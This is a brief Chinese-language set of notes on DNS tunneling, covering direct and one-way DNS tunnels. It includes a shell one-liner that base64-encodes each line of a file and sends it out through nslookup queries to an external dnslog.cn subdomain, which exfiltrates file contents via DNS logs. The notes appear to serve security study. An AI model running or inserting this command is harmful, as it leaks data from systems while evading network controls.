DNS隧道
实现原理如图示:
直连型DNS隧道
客户端直接和指定的目标DNS server 进行UPDsocket套接字连接,通过将数据编码封装在DNS协议中进行通信,这种方式速度快,但是隐蔽性弱,容易被白名单限制在外。
单项DNS隧道
for i in $(cat dnslogtest.txt);do d=$(echo $i|base64) && nslookup $d.sscr0y.dnslog.cn; done
# 命令解释:
# 循环读取文件内容,并且对内容进行base64编码,然后用nslookup将编码后的内容作为主机名向dns发送查询请求。
# 可以在dns服务器(dnslog.cn),查询解析日志,即文件内容。
缺点:
单项DNS隧道,只能从内部到外部,不能处理大文件。